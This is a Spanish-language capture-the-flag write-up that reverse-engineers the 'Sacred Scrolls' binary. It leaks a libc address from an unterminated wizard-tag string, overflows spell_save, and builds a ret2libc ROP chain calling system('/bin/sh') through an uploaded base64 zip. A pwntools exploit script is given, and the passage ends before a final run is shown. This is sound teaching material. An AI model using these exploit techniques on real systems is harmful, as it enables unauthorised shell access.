Sacred Scrolls
17 minutos de lectura
Se nos proporciona un binario de 64 bits llamado sacred_scrolls
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Ingeniería inversa
Usando Ghidra, podemos leer el código fuente descompilado en C. Esta es la función main
:
void main() {
undefined8 *puVar1;
long i;
byte bVar2;
undefined wizard_tag[1528];
undefined8 uStack_110;
undefined8 target;
undefined8 local_100;
undefined8 local_f8;
undefined8 local_f0;
undefined8 local_e8;
undefined8 local_e0;
undefined8 local_d8;
undefined8 local_d0;
undefined8 local_c8;
undefined8 local_c0;
undefined8 local_b8;
undefined8 local_b0;
undefined8 local_a8;
undefined8 local_a0;
undefined8 local_98;
undefined8 local_90;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined *wizard_tag_copy;
undefined8 local_38;
undefined4 local_2c;
bVar2 = 0;
uStack_110 = 0x400ecc;
setup();
uStack_110 = 0x400ed1;
banner();
uStack_110 = 0x400edb;
clean();
uStack_110 = 0x400eec;
printf("\nEnter your wizard tag: ");
local_2c = 0x600;
local_38 = 0x5ff;
wizard_tag_copy = wizard_tag;
read(0, wizard_tag, 1535);
printf("\nInteract with magic library %s", wizard_tag_copy);
puVar1 = ⌖
for (i = 25; i != 0; i--) {
*puVar1 = 0;
puVar1 = puVar1 + (ulong)bVar2 * -2 + 1;
}
while (true) {
while (i = menu(), i == 2) {
puVar1 = (undefined8 *) spell_read();
target = *puVar1;
local_100 = puVar1[1];
local_f8 = puVar1[2];
local_f0 = puVar1[3];
local_e8 = puVar1[4];
local_e0 = puVar1[5];
local_d8 = puVar1[6];
local_d0 = puVar1[7];
local_c8 = puVar1[8];
local_c0 = puVar1[9];
local_b8 = puVar1[10];
local_b0 = puVar1[0xb];
local_a8 = puVar1[0xc];
local_a0 = puVar1[0xd];
local_98 = puVar1[0xe];
local_90 = puVar1[0xf];
local_88 = puVar1[0x10];
local_80 = puVar1[0x11];
local_78 = puVar1[0x12];
local_70 = puVar1[0x13];
local_68 = puVar1[0x14];
local_60 = puVar1[0x15];
local_58 = puVar1[0x16];
local_50 = puVar1[0x17];
local_48 = puVar1[24];
printf(&DAT_00401f50,&target);
}
if (i == 3) break;
if (i == 1) {
spell_upload();
}
}
spell_save(&target);
/* WARNING: Subroutine does not return */
exit(0x16);
}
Aquí se nos pide que ingresemos la etiqueta del mago y luego tenemos un menú con tres opciones:
$ ./sacred_scrolls
▄▞▀▀▀▜▄▖
▗ ▖ ▗ ▖ ▗ ▖▟▞▖▘▗▖▚▘ ▝▀▄
▖▝ ▘ ▝ ▝ ▝ ▘ ▝ ▝ ▝ ▘ ▝ ▖▌▀ ▖▖▚▘▝▗▝▝ ▗▝▄▖▘ ▘
▗▗▞▘▚▝▝▝▗▝ ▘ ▖ ▗▚▖
▗ ▖ ▗ ▗ ▖▗▄▜▝▚▝▝▖▘▘▝ ▖ ▖ ▘ ▗ ▖▛▞
▖ ▖▘ ▖ ▗ ▘ ▖ ▗▝ ▗▄▞▚▗▗▘ ▝ ▖ ▖ ▖▘▀▀▖
▖ ▗▖▛▚▗▝ ▖ ▗ ▝ ▝ ▘ ▖ ▘▗▗▗▝▌
▗ ▗▄▞▀▚▝ ▖ ▖▝ ▖▝ ▖▗ ▖▘▝▗▗▄▞▘
▖ ▝ ▗ ▖ ▄▞▀▚▗▝▝ ▖ ▘ ▘ ▗▝ ▖ ▘▗▗▝▖▞▞▌▜▐▐▖
▗ ▘▄▖▀▀▗▝▝▗ ▝ ▗ ▘ ▖▖▘▖▝▗ ▚▝▖▖▌▌▌▙▞▌▀
▘ ▄▞▞▀▗▝▞▝▖▝ ▘▝ ▖▘▖▖▘▞▝▖▚▚▐▐▟▟▞▘▘
▖▝ ▄▖▛▀▖▞▖▌▘▘▝▖ ▖▝ ▗ ▝ ▖▗ ▘▖▖▖▞▐▗▚▚▙▙▛▀▝
▄▄▜▚▙▄▄▀▝▗ ▄▝▝▘ ▘ ▘ ▘ ▗ ▖▗ ▝▖▄▐▐▐▟▟▜▜▝ ▘
▐▟▛█▜▚▚▚▞▄▖▘ ▖ ▗ ▗ ▘▝ ▖▗▗▐▝▄▟▞▙█▐▝
▐▚▛▞▜▚▟ ▝▚▚ ▘▝ ▝ ▝▗ ▖▘ ▗▝▝▖▞▖▌▙▜▙▙▀▘ ▗ ▝ ▗ ▘
▜▐▚▐▐▜▟█▖ ▀▙▖▗ ▖▗▝ ▖▗ ▖▘▖▞▞▟▞▛▛▟▀ ▗ ▘ ▖
▝▛▗ ▖▌▙▙█▘ ▗▚ ▖▗ ▗▗▗▗▚▐▐▐▞▛▟▞▛▝ ▗▝
█ ▖▗▀▝▝▛█▗ ▜▘▖▗▝▗▗▚▚▚▙▜▞▙▜▝ ▝ ▘ ▗ ▖
▐▖▖ ▚ ▚▜▜▖▞▐▚▗▗▐▗▜▞▛▙▚▙▀ ▝ ▗ ▘ ▗
▚▝▖▚▚▖▀▛▞▐▟▚▘▌▌▛▙▜▟▝▘ ▗ ▗
▗ ▝▌▝▖▌▜▚▛▟█▛▙▜▞▛▛▞▘ ▖ ▝ ▖ ▗▝ ▘
▝▙▗▐▐▐▜▜▙█▞▟▞▛▝ ▗ ▖ ▗ ▗ ▝
▝▘▌▖▖▙▀▙▜▚▜▝ ▗ ▘
▝▀▗▀▞▞▘▘ ▝ ▘ ▗▝ ▗ ▝
▝ ▝ ▗▝ ▘ ▝ ▝ ▖▝
▘ ▝
[+] All ⅀ ℙ ∉ ⎳ ⎳ ⅀ have been whiped out..
Enter your wizard tag: asdf
Interact with magic library asdf
1. Upload ⅀ ℙ ∉ ⎳ ⎳
2. Read ⅀ ℙ ∉ ⎳ ⎳
2. Cast ⅀ ℙ ∉ ⎳ ⎳
3. Leave
>>
Opción para subir archivos
La primera opción se gestiona con spell_upload
:
void spell_upload() {
char cVar1;
long lVar2;
ulong uVar3;
undefined8 *puVar4;
undefined4 *puVar5;
byte bVar6;
undefined auStack_1230[8];
undefined local_1228[15];
undefined8 uStack_1219;
undefined2 auStack_1211[2036];
char cStack_229;
undefined8 local_228[65];
FILE *fp;
ulong local_18;
ulong local_10;
bVar6 = 0;
puVar4 = local_228;
for (lVar2 = 0x40; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
}
puVar4 = (undefined8 *) local_1228;
for (lVar2 = 0x200; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + 1;
}
auStack_1230 = (undefined[8]) 0x400aa5;
printf("\n[*] Enter file (it will be named spell.zip): ");
auStack_1230 = (undefined[8]) 0x400abe;
local_18 = read(0, local_228, 0x1ff);
*(undefined *) ((long) local_228 + (local_18 - 1)) = 0;
for (local_10 = 0; local_10 < local_18; local_10 = local_10 + 1) {
if (((((*(char *) ((long) local_228 + local_10) < 'a') ||
('z' < *(char *) ((long) local_228 + local_10))) &&
((*(char *) ((long) local_228 + local_10) < 'A' ||
('Z' < *(char *) ((long) local_228 + local_10))))) &&
(((*(char *) ((long) local_228 + local_10) < '0' ||
('9' < *(char *) ((long) local_228 + local_10))) &&
(*(char *) ((long) local_228 + local_10) == '.')))) &&
(*(char *) ((long) local_228 + local_10) == '\0')) {
auStack_1230 = (undefined [8])0x400bbc;
printf("\n%s[-] File contains invalid charcter: [%c]\n", &DAT_0040124f, (ulong) (uint) (int) *(char *) ((long) local_228 + local_10));
/* WARNING: Subroutine does not return */
auStack_1230 = (undefined [8])0x400bc6;
exit(0x14);
}
}
local_1228._0_4_ = 0x6f686365;
local_1228._4_2_ = 0x2720;
local_1228[6] = 0;
auStack_1230 = (undefined[8]) 0x400c04;
strcat(local_1228, (char *) local_228);
uVar3 = 0xffffffffffffffff;
puVar5 = (undefined4 *) local_1228;
do {
if (uVar3 == 0) break;
uVar3 = uVar3 - 1;
cVar1 = *(char *) puVar5;
puVar5 = (undefined4 *) ((long) puVar5 + (ulong)bVar6 * -2 + 1);
} while (cVar1 != '\0');
uVar3 = ~uVar3;
*(undefined8 *) (auStack_1230 + uVar3 + 7) = 0x65736162207c2027;
*(undefined8 *) ((long) local_1228 + uVar3 + 7) = 0x203e20642d203436;
*(undefined8 *) ((long) auStack_1211 + (uVar3 - 8)) = 0x697a2e6c6c657073;
*(undefined2 *) ((long) auStack_1211 + uVar3) = 0x70;
auStack_1230 = (undefined[8]) 0x400c71;
system(local_1228);
auStack_1230 = (undefined[8]) 0x400c84;
fp = fopen("spell.zip", "rb");
if (fp == NULL) {
auStack_1230 = (undefined[8]) 0x400ca7;
printf("%s\n[-] There is no such file!\n\n", &DAT_0040124f);
/* WARNING: Subroutine does not return */
auStack_1230 = (undefined[8]) 0x400cb1;
exit(-0x45);
}
auStack_1230 = (undefined[8]) 0x400cd0;
printf("%s\n[+] Spell has been added!\n%s", &DAT_004011d2, &DAT_004011ca);
auStack_1230 = (undefined[8]) 0x400cdb;
close((int) fp);
}
Aquí podemos ver algunos números hexadecimales que en realidad son bytes imprimibles que forman un comando:
$ python3 -q
>>> from pwn import p8, p16, p32, p64
>>> p32(0x6f686365) + p16(0x2720)
b"echo '"
>>> p64(0x65736162207c2027) + p64(0x203e20642d203436) + p64(0x697a2e6c6c657073) + p8(0x70)
b"' | base64 -d > spell.zip"
Por lo tanto, podemos intuir que debemos cargar un archivo ZIP codificado en Base64, y se decodificará y guardará como spell.zip
. Una cosa importante es que ya tenemos system
cargado en el binario.
Opción para leer archivos
Las segundas opciones (leer o lanzar) usan la función spell_read
:
char* spell_read() {
int ret;
char *data;
FILE *fp;
data = (char *) malloc(400);
system("unzip spell.zip");
fp = fopen("spell.txt", "rb");
if (fp == NULL) {
printf("%s\n[-] There is no such file!\n\n", &DAT_0040124f);
/* WARNING: Subroutine does not return */
exit(-0x45);
}
fread(data, 399, 1, fp);
ret = strncmp(data, &DAT_004012f2, 4);
if (ret == 0) {
ret = strncmp(data + 4, &DAT_004012f7, 3);
if (ret == 0) {
close((int) fp);
return data;
}
}
printf("%s\n[-] Your file does not have the signature of the boy who lived!\n\n", &DAT_0040124f);
/* WARNING: Subroutine does not return */
exit(0x520);
}
Esta se ve más simple. Básicamente, descomprime el archivo spell.zip
usando unzip
, luego lee el contenido de spell.txt
(que se supone que está dentro del archivo ZIP) y devuelve el contenido si se cumplen algunas condiciones.
En Ghidra, descubrimos qué valores se almacenan en DAT_004012f2
y DAT_004012f7
:
DAT_004012f2 XREF[1]: spell_read:00400d69(*)
004012f2 f0 ?? F0h
004012f3 9f ?? 9Fh
004012f4 91 ?? 91h
004012f5 93 ?? 93h
004012f6 00 ?? 00h
DAT_004012f7 XREF[1]: spell_read:00400d89(*)
004012f7 e2 ?? E2h
004012f8 9a ?? 9Ah
004012f9 a1 ?? A1h
004012fa 00 ?? 00h
Los primeros 4 bytes de spell.txt
tienen que ser "\xf0\x9f\x91\x93"
y los siguientes 3 bytes tienen que ser "\xe2\x9a\xa1"
. Estos valores son emoji:
$ python3 -q
>>> b"\xf0\x9f\x91\x93"
b'\xf0\x9f\x91\x93'
>>> b"\xf0\x9f\x91\x93".decode()
'👓'
>>> b"\xe2\x9a\xa1".decode()
'⚡'
Opción para guardar archivo
Esta opción es controlada por spell_save
, y saldrá del programa después de ser llamada (ver main
):
void spell_save(void *param_1) {
undefined local_28[32];
memcpy(local_28, param_1, 600);
printf("%s\n[-] This spell is not quiet effective, thus it will not be saved!\n", &DAT_0040124f);
return;
}
Vulnerabilidad de Buffer Overflow
Aquí tenemos una vulnerabilidad clara de Buffer Overflow porque local_28
es una cadena de caracteres de 32 bytes, pero los programa copia hasta 600 bytes de param_1
. Por lo tanto, podemos escribir fuera de la cadena local_28
y modificar los valores existentes en la pila que el programa utiliza para controlar el flujo de ejecución. Por ejemplo, cuando el programa llama spell_save
desde main
, almacena la dirección de retorno a main
en la pila para que pueda extraerse antes de retornar de spell_save
.
Obsérvese que param_1
es target
en main
, que es el valor de retorno de spell_read
. Por lo tanto, explotaremos la vulnerabilidad de Buffer Overflow con un fichero spell.txt
comprimido en un archivo ZIP.
Otra forma de descubrir cómo controlar param_1
es probando en GDB. Primero, creamos el archivo usando como payload con una patrón para que podamos usarlo más adelante:
$ echo -ne "\xf0\x9f\x91\x93\xe2\x9a\xa1$(pwn cyclic 100)" > spell.txt
$ zip spell.zip spell.txt
adding: spell.txt (deflated 47%)
$ base64 -w0 spell.zip
UEsDBBQAAAAIAJWlhVU4LwDzOQAAAGsAAAAJABwAc3BlbGwudHh0VVQJAAMqSo5jKkqOY3V4CwABBOgDAAAE6AMAAA3DRw2EAAAAMK3szbGHDMKPD8EaCk4CbdL/fZzv9QSERsYmpmbmFpZW1ja2/uzsHRydnF1c3dz9AFBLAQIeAxQAAAAIAJWlhVU4LwDzOQAAAGsAAAAJABgAAAAAAAEAAAC0gQAAAABzcGVsbC50eHRVVAUAAypKjmN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBPAAAAfAAAAAAA
Ahora arrancamos el programa en GDB:
$ gdb -q sacred_scrolls
Reading symbols from sacred_scrolls...
(No debugging symbols found in sacred_scrolls)
gef➤ run
Starting program: ./sacred_scrolls
▄▞▀▀▀▜▄▖
▗ ▖ ▗ ▖ ▗ ▖▟▞▖▘▗▖▚▘ ▝▀▄
▖▝ ▘ ▝ ▝ ▝ ▘ ▝ ▝ ▝ ▘ ▝ ▖▌▀ ▖▖▚▘▝▗▝▝ ▗▝▄▖▘ ▘
▗▗▞▘▚▝▝▝▗▝ ▘ ▖ ▗▚▖
▗ ▖ ▗ ▗ ▖▗▄▜▝▚▝▝▖▘▘▝ ▖ ▖ ▘ ▗ ▖▛▞
▖ ▖▘ ▖ ▗ ▘ ▖ ▗▝ ▗▄▞▚▗▗▘ ▝ ▖ ▖ ▖▘▀▀▖
▖ ▗▖▛▚▗▝ ▖ ▗ ▝ ▝ ▘ ▖ ▘▗▗▗▝▌
▗ ▗▄▞▀▚▝ ▖ ▖▝ ▖▝ ▖▗ ▖▘▝▗▗▄▞▘
▖ ▝ ▗ ▖ ▄▞▀▚▗▝▝ ▖ ▘ ▘ ▗▝ ▖ ▘▗▗▝▖▞▞▌▜▐▐▖
▗ ▘▄▖▀▀▗▝▝▗ ▝ ▗ ▘ ▖▖▘▖▝▗ ▚▝▖▖▌▌▌▙▞▌▀
▘ ▄▞▞▀▗▝▞▝▖▝ ▘▝ ▖▘▖▖▘▞▝▖▚▚▐▐▟▟▞▘▘
▖▝ ▄▖▛▀▖▞▖▌▘▘▝▖ ▖▝ ▗ ▝ ▖▗ ▘▖▖▖▞▐▗▚▚▙▙▛▀▝
▄▄▜▚▙▄▄▀▝▗ ▄▝▝▘ ▘ ▘ ▘ ▗ ▖▗ ▝▖▄▐▐▐▟▟▜▜▝ ▘
▐▟▛█▜▚▚▚▞▄▖▘ ▖ ▗ ▗ ▘▝ ▖▗▗▐▝▄▟▞▙█▐▝
▐▚▛▞▜▚▟ ▝▚▚ ▘▝ ▝ ▝▗ ▖▘ ▗▝▝▖▞▖▌▙▜▙▙▀▘ ▗ ▝ ▗ ▘
▜▐▚▐▐▜▟█▖ ▀▙▖▗ ▖▗▝ ▖▗ ▖▘▖▞▞▟▞▛▛▟▀ ▗ ▘ ▖
▝▛▗ ▖▌▙▙█▘ ▗▚ ▖▗ ▗▗▗▗▚▐▐▐▞▛▟▞▛▝ ▗▝
█ ▖▗▀▝▝▛█▗ ▜▘▖▗▝▗▗▚▚▚▙▜▞▙▜▝ ▝ ▘ ▗ ▖
▐▖▖ ▚ ▚▜▜▖▞▐▚▗▗▐▗▜▞▛▙▚▙▀ ▝ ▗ ▘ ▗
▚▝▖▚▚▖▀▛▞▐▟▚▘▌▌▛▙▜▟▝▘ ▗ ▗
▗ ▝▌▝▖▌▜▚▛▟█▛▙▜▞▛▛▞▘ ▖ ▝ ▖ ▗▝ ▘
▝▙▗▐▐▐▜▜▙█▞▟▞▛▝ ▗ ▖ ▗ ▗ ▝
▝▘▌▖▖▙▀▙▜▚▜▝ ▗ ▘
▝▀▗▀▞▞▘▘ ▝ ▘ ▗▝ ▗ ▝
▝ ▝ ▗▝ ▘ ▝ ▝ ▖▝
▘ ▝
[Detaching after vfork from child process 3901791]
[Detaching after vfork from child process 3901793]
[+] All ⅀ ℙ ∉ ⎳ ⎳ ⅀ have been whiped out..
Enter your wizard tag: asdf
Interact with magic library asdf
1. Upload ⅀ ℙ ∉ ⎳ ⎳
2. Read ⅀ ℙ ∉ ⎳ ⎳
2. Cast ⅀ ℙ ∉ ⎳ ⎳
3. Leave
>> 1
[*] Enter file (it will be named spell.zip): UEsDBBQAAAAIAJWlhVU4LwDzOQAAAGsAAAAJABwAc3BlbGwudHh0VVQJAAMqSo5jKkqOY3V4CwABBOgDAAAE6AMAAA3DRw2EAAAAMK3szbGHDMKPD8EaCk4CbdL/fZzv9QSERsYmpmbmFpZW1ja2/uzsHRydnF1c3dz9AFBLAQIeAxQAAAAIAJWlhVU4LwDzOQAAAGsAAAAJABgAAAAAAAEAAAC0gQAAAABzcGVsbC50eHRVVAUAAypKjmN1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBPAAAAfAAAAAAA
[Detaching after vfork from child process 3902190]
[+] Spell has been added!
1. Upload ⅀ ℙ ∉ ⎳ ⎳
2. Read ⅀ ℙ ∉ ⎳ ⎳
2. Cast ⅀ ℙ ∉ ⎳ ⎳
3. Leave
>> 2
[Detaching after vfork from child process 3902249]
Archive: spell.zip
inflating: spell.txt
⅀ ℙ ∉ ⎳ ⎳: 👓⚡aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
1. Upload ⅀ ℙ ∉ ⎳ ⎳
2. Read ⅀ ℙ ∉ ⎳ ⎳
2. Cast ⅀ ℙ ∉ ⎳ ⎳
3. Leave
>> 3
[-] This spell is not quiet effective, thus it will not be saved!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400eb3 in spell_save ()
gef➤ x/s $rsp
0x7fffffffdf88: "aaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
gef➤ x/i $rip
=> 0x400eb3 <spell_save+62>: ret
Y aquí hemos causado el Buffer Overflow. El programa se ha detenido (violación de segmento, segmentation fault) porque la instrucción ret
está tratando de usar aaajaaak
como la dirección de retorno, que evidentemente no es válida.
Usando pwn cyclic
de nuevo, podemos encontrar el offset donde se encuentra aaaj
en el patrón:
$ pwn cyclic -l aaaj
33
Por lo tanto, necesitaremos los dos emoji y 33 caracteres adicionales para alcanzar la posición de la dirección de retorno.
Estrategia de explotación
Recordemos que el binario ya ha tiene system
cargada. Podemos encontrarla en 0x400820
:
$ objdump -M intel -d sacred_scrolls | grep system
0000000000400820 <system@plt>:
400820: ff 25 6a 27 20 00 jmp QWORD PTR [rip+0x20276a] # 602f90 <system@GLIBC_2.2.5>
400a28: e8 f3 fd ff ff call 400820 <system@plt>
400a34: e8 e7 fd ff ff call 400820 <system@plt>
400c6c: e8 af fb ff ff call 400820 <system@plt>
400cfb: e8 20 fb ff ff call 400820 <system@plt>
El objetivo del exploit es llamar a system("/bin/sh")
. Para eso, necesitamos encontrar la dirección de "/bin/sh"
en tiempo de ejecución debido a ASLR. Esta protección afecta a librerías compartidas como Glibc y binarios con PIE (que no es el caso en este reto). Para burlar ASLR en Glibc, debemos obtener una fuga de memoria de en tiempo de ejecución, para poder calcular la dirección base y luego calcular cualquier objeto usando offsets.
Aunque podríamos hacer la técnica clásica de usar put
para fugar una dirección almacenada en la GOT, esta vez encontré una manera más fácil. Teniendo en cuenta que en main
se nos pide una etiqueta de asistente. Es un poco extraño que el programa lea hasta 1535 bytes para una cadena que no sirve para nada:
printf("\nEnter your wizard tag: ");
local_2c = 0x600;
local_38 = 0x5ff;
wizard_tag_copy = wizard_tag;
read(0, wizard_tag, 1535);
Usemos GDB para examinar la dirección de memoria de wizard_tag
antes de escribir cualquier información:
$ gdb -q sacred_scrolls
Reading symbols from sacred_scrolls...
(No debugging symbols found in sacred_scrolls)
gef➤ run
Starting program: ./sacred_scrolls
▄▞▀▀▀▜▄▖
▗ ▖ ▗ ▖ ▗ ▖▟▞▖▘▗▖▚▘ ▝▀▄
▖▝ ▘ ▝ ▝ ▝ ▘ ▝ ▝ ▝ ▘ ▝ ▖▌▀ ▖▖▚▘▝▗▝▝ ▗▝▄▖▘ ▘
▗▗▞▘▚▝▝▝▗▝ ▘ ▖ ▗▚▖
▗ ▖ ▗ ▗ ▖▗▄▜▝▚▝▝▖▘▘▝ ▖ ▖ ▘ ▗ ▖▛▞
▖ ▖▘ ▖ ▗ ▘ ▖ ▗▝ ▗▄▞▚▗▗▘ ▝ ▖ ▖ ▖▘▀▀▖
▖ ▗▖▛▚▗▝ ▖ ▗ ▝ ▝ ▘ ▖ ▘▗▗▗▝▌
▗ ▗▄▞▀▚▝ ▖ ▖▝ ▖▝ ▖▗ ▖▘▝▗▗▄▞▘
▖ ▝ ▗ ▖ ▄▞▀▚▗▝▝ ▖ ▘ ▘ ▗▝ ▖ ▘▗▗▝▖▞▞▌▜▐▐▖
▗ ▘▄▖▀▀▗▝▝▗ ▝ ▗ ▘ ▖▖▘▖▝▗ ▚▝▖▖▌▌▌▙▞▌▀
▘ ▄▞▞▀▗▝▞▝▖▝ ▘▝ ▖▘▖▖▘▞▝▖▚▚▐▐▟▟▞▘▘
▖▝ ▄▖▛▀▖▞▖▌▘▘▝▖ ▖▝ ▗ ▝ ▖▗ ▘▖▖▖▞▐▗▚▚▙▙▛▀▝
▄▄▜▚▙▄▄▀▝▗ ▄▝▝▘ ▘ ▘ ▘ ▗ ▖▗ ▝▖▄▐▐▐▟▟▜▜▝ ▘
▐▟▛█▜▚▚▚▞▄▖▘ ▖ ▗ ▗ ▘▝ ▖▗▗▐▝▄▟▞▙█▐▝
▐▚▛▞▜▚▟ ▝▚▚ ▘▝ ▝ ▝▗ ▖▘ ▗▝▝▖▞▖▌▙▜▙▙▀▘ ▗ ▝ ▗ ▘
▜▐▚▐▐▜▟█▖ ▀▙▖▗ ▖▗▝ ▖▗ ▖▘▖▞▞▟▞▛▛▟▀ ▗ ▘ ▖
▝▛▗ ▖▌▙▙█▘ ▗▚ ▖▗ ▗▗▗▗▚▐▐▐▞▛▟▞▛▝ ▗▝
█ ▖▗▀▝▝▛█▗ ▜▘▖▗▝▗▗▚▚▚▙▜▞▙▜▝ ▝ ▘ ▗ ▖
▐▖▖ ▚ ▚▜▜▖▞▐▚▗▗▐▗▜▞▛▙▚▙▀ ▝ ▗ ▘ ▗
▚▝▖▚▚▖▀▛▞▐▟▚▘▌▌▛▙▜▟▝▘ ▗ ▗
▗ ▝▌▝▖▌▜▚▛▟█▛▙▜▞▛▛▞▘ ▖ ▝ ▖ ▗▝ ▘
▝▙▗▐▐▐▜▜▙█▞▟▞▛▝ ▗ ▖ ▗ ▗ ▝
▝▘▌▖▖▙▀▙▜▚▜▝ ▗ ▘
▝▀▗▀▞▞▘▘ ▝ ▘ ▗▝ ▗ ▝
▝ ▝ ▗▝ ▘ ▝ ▝ ▖▝
▘ ▝
[Detaching after vfork from child process 3909266]
[Detaching after vfork from child process 3909268]
[+] All ⅀ ℙ ∉ ⎳ ⎳ ⅀ have been whiped out..
Enter your wizard tag: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ea7992 in read () from ./glibc/libc.so.6
gef➤ x/i $rip
=> 0x7ffff7ea7992 <read+18>: cmp rax,0xfffffffffffff000
gef➤ x/50gx $rsi
0x7fffffffdf90: 0x0000000000000000 0x0000000000000000
0x7fffffffdfa0: 0x00007ffff7f6b698 0x00000000f7e7e0f0
0x7fffffffdfb0: 0x0000000000000000 0x00000000ffffe3e0
0x7fffffffdfc0: 0x00007fff00000000 0x0000000000000004
0x7fffffffdfd0: 0x00007fff00000000 0x0000000000000000
0x7fffffffdfe0: 0x0000000000000000 0x0000000000000000
0x7fffffffdff0: 0x0000000000000000 0x0000000000000000
0x7fffffffe000: 0x0000000000000000 0x0000000000000000
0x7fffffffe010: 0x0000000000000000 0x00007ffff7fce37c
0x7fffffffe020: 0x00007ffff7fbb580 0x00007ffff7d97ad0
0x7fffffffe030: 0x00000000677f9a5f 0x00007ffff7d95424
0x7fffffffe040: 0x00007ffff7fbc088 0x00007ffff7fce7e9
0x7fffffffe050: 0x0000000000000226 0x00007ffff7da9650
0x7fffffffe060: 0x00007ffff7fbb580 0x00007fffffffe108
0x7fffffffe070: 0x0000000000000000 0x0000000004000000
0x7fffffffe080: 0x00007ffff7dd5520 0x0000000000000000
0x7fffffffe090: 0x00007ffff7ffe650 0x27d0436c9c8f4500
0x7fffffffe0a0: 0x00007fffffffe1d0 0x00000000004011a8
0x7fffffffe0b0: 0x00007fffffffe3e0 0x00007fffffffe240
0x7fffffffe0c0: 0x00007ffff7fae7a0 0x00007ffff7fae840
0x7fffffffe0d0: 0x00007ffff7ffd040 0x00007ffff7ea690b
0x7fffffffe0e0: 0x0000000000000000 0x00007ffff7e7e0f0
0x7fffffffe0f0: 0x00000001f7fc1300 0x27d0436c9c8f4500
0x7fffffffe100: 0x0000000000000000 0x0000000000000000
0x7fffffffe110: 0x0000000000000000 0x0000000004000000
Hay muchas direcciones de memoria de Glibc (aquellas que comienzan con 0x7ffff7
) y de la pila (las que comienzan con 0x7ffffff
). Afortunadamente, la primera dirección que encontramos es curiosamente la dirección de "/bin/sh"
:
gef➤ x/s 0x00007ffff7f6b698
0x7ffff7f6b698: "/bin/sh"
También podríamos haber usado otras funciones para ver esta información:
gef➤ backtrace
#0 0x00007ffff7ea7992 in read () from ./glibc/libc.so.6
#1 0x0000000000400f66 in main ()
gef➤ telescope
0x007fffffffdf88│+0x0000: 0x00000000400f66 → <main+178> mov rax, QWORD PTR [rbp-0x38] ← $rsp
0x007fffffffdf90│+0x0008: 0x0000000000000000 ← $rsi
0x007fffffffdf98│+0x0010: 0x0000000000000000
0x007fffffffdfa0│+0x0018: 0x007ffff7f6b698 → 0x68732f6e69622f ("/bin/sh"?)
0x007fffffffdfa8│+0x0020: 0x00000000f7e7e0f0
0x007fffffffdfb0│+0x0028: 0x0000000000000000
0x007fffffffdfb8│+0x0030: 0x00000000ffffe3e0
0x007fffffffdfc0│+0x0038: 0x00007fff00000000
0x007fffffffdfc8│+0x0040: 0x0000000000000004
0x007fffffffdfd0│+0x0048: 0x00007fff00000000
Para filtrar este valor, debemos ingresar exactamente 16 bytes. Dado que las cadenas en C terminan con un byte nulo, si ingresamos 16 bytes, entonces printf
imprimirá los mismos 16 bytes más la dirección de memoria de "/bin/sh"
porque no hay byte nulo en el medio.
Desarrollo del exploit
Vamos a comenzar por filtrar la dirección de "/bin/sh"
. Podemos usar este script de Python:
#!/usr/bin/env python3
from pwn import *
context.binary = 'sacred_scrolls'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
p.sendafter(b'Enter your wizard tag: ', b'A' * 16)
p.recvuntil(b'A' * 16)
bin_sh_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'"/bin/sh" address: {hex(bin_sh_addr)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './sacred_scrolls': pid 3915189
[*] "/bin/sh" address: 0x7f4cb61e7698
[*] Switching to interactive mode
1. Upload ⅀ ℙ ∉ ⎳ ⎳
2. Read ⅀ ℙ ∉ ⎳ ⎳
2. Cast ⅀ ℙ ∉ ⎳ ⎳
3. Leave
>> $
Ahí está. Ahora explotaremos la vulnerabilidad de Buffer Overflow para llamar system("/bin/sh")
(esto se conoce como ataque ret2libc).
Como NX está habilitado, debemos usar Return Oriented Programming (ROP) para ejecutar código arbitrario. En los binarios x86_64, los argumentos para de llamada a funciones se almacenan en registros (en orden: $rdi
, $rsi
, $rdx
, $rcx
…). Podemos establecer estos registros usando gadgets, que son conjuntos de instrucciones que terminan en ret
. El propósito de usar gadgets es llenar la pila con punteros a gadgets, para que el programa ejecute un gadget y retorne al siguiente. Es por eso que este payload se conoce como cadena ROP o ROP chain.
Podemos encontrar un gadget útil para $rdi
:
$ ROPgadget --binary sacred_scrolls | grep 'pop rdi'
0x0000000000401183 : pop rdi ; ret<
Entonces, necesitamos definir esta cadena ROP:
pop_rdi_ret = 0x401183
system_plt = 0x400820
payload = b'\xf0\x9f\x91\x93\xe2\x9a\xa1'
payload += b'A' * 33
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_plt)
Además, debemos ingresar el payload en un archivo llamado spell.txt
, comprimirlo usando ZIP y codificar el resultado en Base64:
with open('spell.txt', 'wb') as f:
f.write(payload)
os.system('zip spell.zip spell.txt')
os.system('rm spell.txt')
with open('spell.zip', 'rb') as f:
data = b64e(f.read()).encode()
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Enter file (it will be named spell.zip): ', data)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'3')
p.interactive()
Usando el código anterior, casi podemos terminar el exploit, porque no funciona correctamente:
$ python3 solve.py
[*] './sacred_scrolls'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
